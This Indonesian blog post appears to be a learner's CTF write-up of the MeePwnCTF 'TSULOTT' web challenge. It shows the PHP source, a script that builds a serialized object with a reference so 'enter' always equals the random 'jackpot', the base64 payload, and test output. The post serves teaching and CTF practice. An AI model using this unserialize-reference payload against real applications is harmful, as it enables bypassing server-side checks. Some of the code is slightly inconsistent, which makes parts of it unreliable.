Minggu, 16 Juli 2017

MeePwnCTF - TSULOTT Write Up.

Meepwn_TSULOTT

TSULOTT MeePWN Write Up CTF

Diberikan sebuah web.
Berikut adalah source code dari web tersebut
<?php 
class Object  
{  
  var $jackpot; 
  var $enter;  
} 
?> 


<?php 

include('secret.php'); 

if(isset($_GET['input']))   
{ 
  $obj = unserialize(base64_decode($_GET['input'])); 
  if($obj) 
  { 
    $obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);  
    if($obj->enter === $obj->jackpot) 
    { 
      echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>"; 
      echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>"; 
      echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>"; 

    } 
    else 
    { 
      echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>"; 
    } 
  } 
  else 
  { 
    echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>"; 
  } 
} .


else 
{ 
  echo ""; 
} 
?> 

<?php 
if (isset($_GET['gen_code']) && !empty($_GET['gen_code'])) 
{ 
  $temp = new Object; 
  $temp->enter=$_GET['gen_code']; 
  $code=base64_encode(serialize($temp));  
  echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>'; 
} 
?> 

<?php 
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1') 
{ 
   show_source(__FILE__); 
} 
?> 
Web tersebut meminta kita memasukkan 6 angka dari range 10 sampai 99 dipisahkan oleh spasi. Setelah disubmit kita mendapatkan kode base64 yang merupakan php serialization setelah di decode. Kita memasukkan base64 tersebut kedalam kotak guest untuk menebak jackpot yang akan keluar. Ternyata yang keluar adalah wrong karena jackpot dirandom.
Kita dapat menggunakan php unserialize untuk mengisi jackpot agar sesuai dengan enter. Namun dibawahnya jackpot terisi kembali dengan variabel random sehingga hasil unserialize kita tertimpa.
Setelah event ctf selesai, hasil googling menunjukkan hal yang menarik. Ternyata kita dapat menggunakan reference pada php agar var enter sesuai dengan var jackpot yang kita miliki.
Kita buat serialize object tersebut dengan script php dibawah ini:
<?php
class Object  
  {  
    var $jackpot; 
    var $enter;  
  }

 $exp = new Object;

 $exp->enter =& $exp->object;
 $a = serialize($exp);
 echo serialize($exp).'\n';
 echo base64_encode($a)
?>
Didapat O:6:"Object":2:{s:7:"jackpot";N;s:5:"enter";R:2;} dengan base64 Tzo2OiJPYmplY3QiOjI6e3M6NzoiamFja3BvdCI7TjtzOjU6ImVudGVyIjtSOjI7fQ==
Kita akan coba pada source code berikut.
<?php
  class Object  
  {  
    var $jackpot; 
    var $enter;  
  } 
  $temp = new Object; 
  
  /*$temp->enter=rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
  $temp->jackpot="90 90 90 90 90 90"; 
  $code = base64_encode(serialize($temp));  
  $oob = unserialize(base64_decode($code));

  echo $code;
  echo $oob->enter;
  echo $oob->jackpot;*/

  $exp = new Object;
  #$exp->jackpot = "80 80 80 80 80 80";
  #$exp->enter = "80 80 80 80 80 80";

  $exp->jackpot =& $exp->enter;
  $c = serialize($exp);
  $crud = unserialize($c);
  

  $exp->jackpot = rand(10, 99);

  echo $exp->jackpot .' '.$exp->enter."\n";
  if($exp->jackpot===$exp->enter){
   echo 'YOU WIN';
  } else{
   echo 'YOU LOSE';
  }
?> 
Kita coba jalankan dengan terminal
 alfakatsuki@justPC:~$ php is.php
40 40
YOU WIN
 alfakatsuki@justPC:~$ php is.php
54 54
YOU WIN
 alfakatsuki@justPC:~$ php is.php
90 90
YOU WIN
 alfakatsuki@justPC:~$ php is.php
73 73
YOU WIN
 alfakatsuki@justPC:~$ php is.php
10 10
YOU WIN
 alfakatsuki@justPC:~$ e
Ternyata hasil yang kita dapatkan sama. Walaupun saya gagal untuk menyelesaikan soal ini sesuai dengan waktu dari MeePwnCTF namun soal ini memberikan pelajaran baru. Soal soal yang menarik untuk pemula ctf seperti saya. :)

1 komentar: